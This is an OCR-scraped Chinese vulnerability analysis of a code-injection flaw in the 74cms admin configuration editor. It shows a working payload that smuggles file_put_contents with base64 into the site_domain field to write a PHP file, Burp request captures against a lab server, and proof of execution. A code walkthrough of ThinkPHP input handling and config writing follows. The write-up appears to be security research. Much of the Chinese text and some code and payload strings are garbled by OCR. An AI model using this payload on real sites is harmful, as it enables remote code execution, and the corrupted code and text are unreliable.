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ZE1EM site_ domain 30T :
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<?php phpinfo();?>
payload:
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site_domain="', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygp0z8%2b')), "

Send

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | JSON Beautifier

POST /74cms/index.php?m =admin&ic =configéta=edit HTTP/1.1 L HTTP/11 200 OK
Host: 192.168.174.209:88 I Date:Mon, 13 Jul 2020 07:3331 GMT

Content-Length: 464 Server: Apache/2.439 (Win64) GpenSSL/1.1.1b mod _fegid/2.3 9a mod_lag rotate/1.02
Accept: application/json, text/javascript, */%; q=0.01 X-Powered-By: PHP/55.9

X-Requested-With: XMLH ttpRequest Expires: Thu, 19 Nov 1981 08:52:00 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Win64; x64) ApplelVebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Cache-Control: no-store, na-cache, must-revalidate, post-check=0, pre-check=0
Safari/537.36 Pragma: no-cache

Content-Type: application/x-www-form-urlencoded: charset=UTF-8 Connection: close

Origin: http://192.168.174.209:88 Content-Type: application/json; charset=utf-8

Referer: http://192.168.174.209:88/74cms/indlex.php?m = admingtc= config&a=index&menu_id=1&sub_menu_id=6 Content-Length: 67

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zhig=0.9 {'status™1,"msg":"\ub4cdhuAfSc\u6210WS29F", "data”:", "dialog """}

Cookie: PHPSESSID = fk560to9niibd1 kdaf7 cjrvb1; think language=2h-CN; think_template=default
Connection: close

site_name = %E9%AA %% BESTAS FAB TEA 9B A%BAKEE BB I%BD%ET %6 3%BE %E7 %BBE %SF&isite_domain="%2Cfile_put_contents(40
3.php'%2Chase64_decode(PDSwaHAgeGhwaVSmbygpOz8%28)%2C Bisite_dir=%2F74cms%2F 8ttop_tel=000-00000000&bootom t
&l=000-000000008tcontact_emal=&laddress =00%E7 %9 C %8100 %ESB 8%B200%E8%B 7 I6AF00 %E S 68F %B 70 HESIA4 %6/ 6
%AB00%ESFAS%B Cabottom other=Copyright+%C2%A9+2019 +74cms.com-+All+Right +Reserved +&icp = iep000000000&sclose = 0
&close_reason=&istatistics=&logo_home=&logo_other=
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Send

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /74cms/Application/Common/Conf/url.php HTTP/1.1 HTTP/1.1 200 OK

-

Host:192.168.174.20988 Date: Mon, 13 Jul 2020 07:26:19 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple\WebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 X-Powered-By: PHP/55.9

Safari/537.36 Content-Length: 0

Accept: Connection: close

text/html,application/xhtml+xml application/«mi;q=0.8,mage iwebp,image/apng*/:q =0 fcation/signed-exchangey=b3g=0.9 Content-Type: text/html
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Accept-tncoding: gzip, detlate
Accept-Language: zh-CN,zhig=0.9

Cookie: PHPSESSID= fkS60t09nijbd1kdg7cOjrvb; think language=zh-CN; think template=defauit
Connection: close
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ZIERIAE AN 403.php X1, XHREIUTAR:

[ 403.php 2020-07-13 15:34 PHP Szi4 1KB
[ config.php 2019-03-19 15:42 PHP 7% 2KB
[ db.php 2020-07-13 15:06 PHP 37 1KB
[ html_cache.php 2019-01-08 17:49 PHP 7% 1KB
|ﬂ- index.html 2019-01-08 17:49 HTML =245 1KB
[7] pwdhash.php 2020-07-13 15:06 PHP 7% 1KB
[ sub_domain.php 2019-01-08 17:49 PHP 7% 1KB
[ sys_url.php 2019-01-08 17:49 PHP 2% 1KB
[ tags.php 2019-01-11 16:18 PHP Tzf 1KB
[ url.php 2020-07-13 15:33 PHP Szi4 1KB

Qf EjEnvironment\Software\phpstudy_pro\WWWAT4CMS\Application\Cammaon\Conf\403.php - Notepad++
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RRES! s e B | |thg @%| BEI=1T EDEAE® | @ 3
= 403.1:111:::!\

1 <?php phpinfo () ;?2:>|
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S phpinfo() X +

<« C O &£ | 192.168.174.209:88/74cms/Application/Common/Conf/403.php B a &%+ O ¢
i A Allex zm [ RIFT: Research an...

PHP Version 5.5.9 php

System Windows NT DESKTOP-BFSBGQO 6.2 build 9200 (Windows 8 Business Edition)
AMDE4

Build Date Feb 5 2014 10:59:06
Compiler MSVC11 (Visual C++ 2012)

x64
Configure | cscript /nologo configure s *--enable-snapshot-build” *—enable-debug-pack” *-
Command  |-disable-zts" *--disable-isapi® "~-disable-nsapi" "—-without-mssql” *--without-

-oci=C:\php-
A\phj

pdo-mssql” "--without-pidweb® "with-pd
sdk\oracle\instantclient10\sdk,shared' Aphp-
sdk\oracle\instantclient] O\sdk shared ci8-11g=Ci\php-
sdk\oracle\instantclient1 1\sdkshared" *--with-enchant=shared" "--enable-
object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" *-
~disable-static-analyze” "--with-pgo”

Server API CGl/FastCGI

Virtual disabled

Directory
Support
Configuration | CAWindows
File (php.ini)
Path

Loaded EAEnwironment\Software\phpstudy_pro\Extensions\phpphp5.5.9nts\php.ini
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£ PHP HH3REXNZEEAEEHRE, tha: $ GET[TER'], $_POST[ZER],
$_SESSION[ZE%'], $_COOKIE['ZFER'"], $SERVER['ZER'] HALBREHEMAITEE,
B7E TP b AT RENFEEZENS—FER | RECKREZEE, il FREX URL iliti=dhesg
id BE, 7 php FFAIFE $ GET['id'] -FKEX, 7E thinkphp $EA1aTLAR [('get.id") SRZKEX,
B, $_POST['id'] HiA I(post.id’) BYY, | BEEENEEENPHNTEXEFHEIERIER get F
post ZHEANEKAT, FURIZEERIFEIE:

iR =se it HM
get EENGETEED
post FEIPOSTEE
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request FZEYREQUEST &2
put EEIPUT &3
session Bl $_SESSION #27

cookie =Bl $ COOKIE &8}
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EREZRSFERSHFEAIMTHRNE KRR EIREUTT,, Hla0: I(param.id’) , IRZIARTERX
KEUZE GET, BBAERT $_GET['id'], dIRUENSKEELZ POST 5& PUT, BRABZITIREX
$_POST['id'] 8¢& PUT &4 id, MHEL L | REGRERIZELELE param &AL
BREESN: I(ZER]") , B4 $_GET[id']. $_POST['id'] #BeILABEA: I(id) , BXEZE
LKAV EMD LRI AREX ARS, il I('cookie.id’). I('session.id’) FiARERIS.

TR | BN EREARS NG, BEEETREO NG, il I('get.id’) ATLASHK
I(GET.id"), 1BA8EER I('get.ID")

Tt
| REASERANNTENHIZ htmlispecialchars, EAERBEX MRS T

1/ REINMG AL IEDL ]
'DEFAULT_FILTER' => 'htmlspecialchars’,

ATLA I('post. &' MFRTF htmlspecialchars($_POST(EE4")), MR | RHBESH 7
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I('post.email’, i N\ IEHfifJemail bt ', FILTER_VALIDATE_EMAIL);

Fraxd $_POST['email' ] FTIRTIGIEFMTREFE email FIBNER, WRAHFERIE,
RERRMER, LEAREHERTLIEL:

I('post.email’, "iEfMIANEMiRIemail ', 'email’)

EMERY FILTER VALIDATE_EMAIL 24515/, TERY email 2%3515HY, & LEE email 3B
HRBRIDIRTSZRYIE filter_list 7ATPHERUE (FRENIKSFHIMNEIEGMAR) |, &
RESIFHIELE:

e int

e boolean

o float

e validate regexp
e validate url

e validate_email
e validate ip

e string

e stripped



e encoded

e special chars
e unsafe raw
e email

e url

e number_int

number float

magic_quotes

callback

FTESIHTT

TEEIDFFINTERFRZEA /" DEIFk, TEEIBFTIERR R TENFRRE,
tban:

I('get.id/d"); // EHIEEEHS BT
I('post.name/s'); // HHEIEHAE RSy FIFHEL
I('post.ids/a'); // I HAEHIE
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HE b g

TEE(IGIRRRHITON, XEHNIRAERERSITRIANETON, B, HIMRE
POC iEkEHH URL kXSmRS T L :

URL #iif: /74cms/index.php?m=Admin&c=config&a=edit

URL f&{t: Controller=config&action=edit

N{EERL: /Application/Admin/Controller/ConfigController.class.php

PRECRR:
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public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain',"'', 'trim');
$site_domain = trim($site_domain,'/");
$site dir = I('request.site_dir',C('gscms_site dir'),'trim');
$site_dir = $site_dir==""'?"'/":$site_dir;
$site dir = $site dir=="/'?$site_dir:('/'.trim($site_dir,'/"')."/");
$ POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('gscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){

$this->returnMsg(e, ' A SMFRIGESR! *);

}

$str = str_replace('http://',"'',$site_domain);

$str = str_replace('https://',"'"',$str);

if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/"',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);

}else{
$domain = array_slice(explode('.', $str), -2, 2);

}

$domain = '.'.implode('."',$domain);

$config[ 'SESSION_OPTIONS'] = array('domain'=>$domain);
$config[ 'COOKIE_DOMAIN'] = $domain;
$this->update_config($config, CONF_PATH. 'url.php');

}

$logo _home = I('request.logo home','','trim');



if(strpos($logo_home,'..")!==false){
$_POST[ 'logo_home'] = '"';
}
// $logo_user = I('request.logo_user',"'','trim');
// if(strpos($logo_user,'..")!==false){
// $_POST['logo_user'] = '';
/1%
$logo_other = I('request.logo_other','’,'trim");
if(strpos($logo_other,'..")!==false){
$_POST[ 'logo_other'] = '';
}

if($default_district = I('post.default_district',0, 'intval')){
$city = get_city info($default_district);
$_POST[ 'default_district'] = $city['district'];
$_POST[ 'default_district_spell'] = $city['district_spell'];
/iR JE— %, B E— %
$s = D('CategoryDistrict')->get_district_cache($default_district);
$city = get_city_info($default_district);
if(1$s){
$citycategory = explode('.',$city['district']);
if(2 <= count($citycategory)){
array_pop($citycategory);
$district_spell = explode('.',$city['district_spell']);
array_pop($district_spell);
$_POST[ 'default_district'] = implode('.',$citycategory);
$_POST[ 'default_district_spell'] = implode('.',$district_spell);

telse{
$_POST[ 'default_district'] = '';
$_POST[ 'default_district_spell'] = "';
}
}else{

$ POST[ 'default_district'] = $city['district'];
$_POST[ 'default_district_spell'] = $city['district_spell'];

*/



AJLAERLAMESERFAT site_domain SHSELET | REHITIRBIANLIE, | REHR

’
$this->_edit();

$this->display();

WA= EDEFRE, AEEZNNA):
ThinkPHP\Common\functions.php

%

*

*

*

*

*

BRI ZEL THFLIEREC N1

1 7775

<code>

I('id',0); HFidZ# Hz31#lget & Zpost
I('post.name',"'’, 'htmlspecialchars'); 4§ _POST[ 'name’]
I('get.’'); FHK$_GET

</code>

@param string $name FiEHIEH LIS EIEH
@param mixed $default F7FHEHINTIZECU (E
@param mixed $filter ZHidJE 7k~

@param mixed $datas ZEIEIITHSF IR

@return mixed

*/

function I($name,$default="",$filter=null,$datas=null) {

static $_PUT =  null;

if(strpos($name, ' /') { // 15EEMHHF
list($name,$type) = explode('/',$name,2);

Yelseif(C('VAR_AUTO_STRING')){ // ZLiA##I#67 0777
$type = 's’;

}

if(strpos($name,'.")) { // 7EEHFKHR
list($method,$name) = explode('.',$name,2);

Yelse{ // ZtuA 5 H 515l

dmAatrhaAd _ Tinmmrmam! .



puicLiivu = pait-ain ,

}

switch(strtolower($method)) {

case 'get'’

$input =& $_GET;

break;

case 'post’

$input =& $_POST;

break;

case 'put'’

if(is_null($_PUT)){

parse_str(file_get_contents('php://input'), $_PUT);

}
$input =
break;

case 'param'

$_PUT;

switch($_SERVER[ 'REQUEST_METHOD']) {

case 'POST':
$input
break;

case 'PUT':

= ¢ _POST;

if(is_null($_PUT)){

}

$input
break;

default:

$input

}

break;
case 'path’

$input =

$depr
$input
}

break;

case 'request'

parse_str(file_get_contents('php://input'), $_PUT);

$_PUT;

= $ GET;

array();
if(!lempty($_SERVER[ 'PATH_INFO'])){

C('URL_PATHINFO_DEPR');
explode($depr,trim($_SERVER['PATH_INFO'],$depr));



$input =& $_REQUEST;
break;

case 'session'
$input =& $_SESSION;
break;

case 'cookie’
$input =& $_COOKIE;
break;

case 'server'
$input =& $_SERVER;
break;

case 'globals’
$input =& $GLOBALS;
break;

case ‘'data’ :
$input =& $datas;
break;

default:

return null;

}
if (' '==$name) { // HFWLHZHE
$data = $input;
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
//8filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);

foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // =#HLIF

¥
lelseif(isset($input[$name])) { // HEHEIF
$data =  $input[$name];
$filters = isset($filter) ? $filter.','.C('DEFAULT_ FILTER') : C('DEFAULT_FILTER');
//$filters = isset($filter)?$filter:C('DEFAULT_FILTER');



if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/")){
if(1 !== preg_match($filters, (string)$data)){
/! FEFFILIYIGIE
return  isset($default) ? $default : null;

}
}else{

$filters = explode(',',$filters);

}
telseif(is_int($filters)){

$filters = array($filters);

if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {

$data = 1is_array($data) ? array_map_recursive($filter,$data) : $filter
($data); // =40l
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filte

r));
if(false === $data) {

return  isset($default) ? $default : null;

}
if(lempty($type)){
switch(strtolower($type)){

case 'a': // #H
$data =  (array)$data;
break;

case 'd': // #F
$data = (int)$data;

break;



case 'f': /J/ JE&

$data = (float)$data;
break;
case 'b': /) HH
$data =  (boolean)$data;
break;
case 's': /) FiFH
default:
$data = (string)$data;
}
¥
Yelse{ // Z&EH U
$data = isset($default)?$default:null;

}

is_array($data) && array_walk_recursive($data, 'think_filter');

return $data;

B A | ®ER, &8 $name >request.site domain, &% $filter >trim, FRLAE%:
SHANE if HIWMESH elseif 1, FHHIKE $tyep A's', BIEHERBIRFRE, Z/HEAN
FIEIRER "if(strpos($name,’.)) {" F, EXEDBIM $name BUEFHEHE DTSRGS
$method 5 $name, ILATHY $method BPA requets, i $name A site_domain(BEA &
EBHRASEE), 2GR $method FHTILECRIE, ELALEETF $method 8 $request, A
LAERZZ $input 5 $REQUEST, ZEIRHEEIAR.

ZIEEHITTERNS— if..else #Ii#r, AT $name A=, FTLAEEHA else BG4,
ZEBHIER): isset($input[$name]) RHIMTEEIRE $name BYE, IHATRIHIMIER T
isset($REQUEST[site domain]), REZAFAIAY payload FHNERISENERE site-domain 1&
BHRE, FRLUSEERAR AT, ZRBET oM, EXERX $data HITIRME(ERE,
IR MERT KR site_ domain BYE, MLLETRY fileters AFRATAY trim F=FFERFRMAYEF
EFFHTEREE), ZfRESER array_map_recursive BRERISEHITISISERE,
array_map_recursive {30 FRAT7R:




function array_map_recursive($filter, $data) {
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call user_func($filter, $val);

}

return $result;

£ array_map_recursive REFPSBET—MERREITXT $data PRIEUEHITSEITIR, 25
BHEN filter >$trim(), LAK $val—>$data {ENSELET call user func RERAFE
TENXAIREL, A trim() K&, FRrLALCARTSYIEAIER $data HITIRRIBESIE. &
Tab BEFER(E,
Z)= HATBETRERS \1‘)? ZJ:A%‘E?E $type HYERXT $data T IREIEEMR, b9 s,
FRREE, ERESEY array walk recursive 3Ri3BIFER think fliter XF $data #17—
i‘fé JigtE, think fliter BREYCRDAI AR :

function think_filter(&$value){
// TODO Afthz 14 7E

/! AIEE IR
if(preg_match('/~(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE |NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN |NOTIN
[NOT IN|IN)$/i',$value)){
$value .= ' ';

}

A LAREIZEREEETIR T —EaFHRF R, W RGZ AR SQL iEANNT MR, I
Qb33FA1] payload (Y site_domain FREIERIFEIFN.,
‘Fﬁibﬂ]ﬁl_i* @ZEUE’] / Appl|cat|on/Adm|n/ControIIer/ConflgControIIer class. php SZ#F



FEITONT, ZERTAEZILALAY $site domain SAREEMHER trim BREIRE—IXIER "/" 128
&8, ZJE¥ Il $site domain EF/ RS, LIK $site domain EEZETF'gscms_site domain'(lt,
49 C BRHFATHREUMSBERBESE), 25T $site_domain FREJ " http://"8L"https://" #T
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public function edit(){
if(IS_POST){

$site_domain = I('request.site_domain',"'', 'trim');

$site_domain = trim($site_domain,'/");

$site_dir

I('request.site_dir',C('gscms_site_dir'), "trim");

$site_dir = $site_dir==""'?"'/":$site_dir;
$site dir = $site dir=="/'?$site_dir:('/'.trim($site_dir,"'/"')."/");
$ POST['site_dir'] = $site_dir;

if($site_domain && $site_domain != C('gscms_site_domain')){

}

if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(e, ' EAAHE SMFRIGESR! *);

}
$str = str_replace('http://',"'"',$site_domain);

$str = str_replace('https://',"'"',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/"',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
Yelse{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('."',$domain);
$config[ 'SESSION_OPTIONS'] = array('domain'=>$domain);
$config[ 'COOKIE_DOMAIN'] = $domain;
$this->update_config($config, CONF_PATH. 'url.php');

$logo _home = I('request.logo home','','trim');



if(strpos($logo_home,'..")!==false){
$_POST[ 'logo_home'] = '"';
}
// $logo_user = I('request.logo_user',"'','trim');
// if(strpos($logo_user,'..")!==false){
// $_POST['logo_user'] = '';
/1%
$logo_other = I('request.logo_other','’,'trim");
if(strpos($logo_other,'..")!==false){
$_POST[ 'logo_other'] = '';
}

if($default_district = I('post.default_district',0, 'intval')){
$city = get_city info($default_district);
$_POST[ 'default_district'] = $city['district'];
$_POST[ 'default_district_spell'] = $city['district_spell'];
/iR JE— %, B E— %
$s = D('CategoryDistrict')->get_district_cache($default_district);
$city = get_city_info($default_district);
if(1$s){
$citycategory = explode('.',$city['district']);
if(2 <= count($citycategory)){
array_pop($citycategory);
$district_spell = explode('.',$city['district_spell']);
array_pop($district_spell);
$_POST[ 'default_district'] = implode('.',$citycategory);
$_POST[ 'default_district_spell'] = implode('.',$district_spell);

telse{
$_POST[ 'default_district'] = '';
$_POST[ 'default_district_spell'] = "';
}
}else{

$ POST[ 'default_district'] = $city['district'];
$_POST[ 'default_district_spell'] = $city['district_spell'];

*/



b
$this->_edit();

$this->display();

2 JGER#t update_config BRi&, BRERRBIN AR
N{HIE: Application\Common\Controller\BackendController.class.php

public function update_config($new_config, $config_file = '') {
lis file($config file) && $config file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){

$config[ 'SESSION_OPTIONS']['path'] = SESSION_PATH;
}

file_put_contents($config file, "<?php \nreturn " . stripslashes(var_export($config, tru
e)) . ";", LOCK_EX);

@unlink (RUNTIME_FILE);

return true;

} else {

return false;

EIZEREH, B5cHlT $Sconfig file(Application/Common/Conf/url.php)2&BE— 1344,
FXt $config_file RIBSRFHITEEN (tAbRY HOME_CONFIG_PATH
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multimerge 73 AFRFI T IRRIUFT EFIRURIERE $new_config FEATEEIFKFH

site._ domain) FRYARETEHIZ $config file



function multimerge($a, $b) {
if (is_array($b) && count($b)) {
foreach ($b as $k => $v) {

if (is_array($v) && count($v)) {
$a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v

} else {
$a[$k] = $v;

}

}
} else {

$a = $b;
}

return $a;

Z5iR[EF] BackendController.class.php 7 L475 727X EX (42, H
$config file 3 Application/Common/Conf/url.php, WA $config HFEATERIEKTH
site domain RS, BXEATaILARE Application/Common/Conf/url.php B AR THIER
A PHP K13:



public function update_config($new_config, $config_file = '') {
lis file($config file) && $config file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {

$config = require $config_file;

$config = multimerge($config, $new_config);

if($config[ 'SESSION_OPTIONS']){

$config[ 'SESSION_OPTIONS']['path'] = SESSION_PATH;

}

file_put_contents($config file, "<?php \nreturn " . stripslashes(var_export($config, tru
e)) . ";", LOCK_EX);

@unlink (RUNTIME_FILE);

return true;

} else {

return false;
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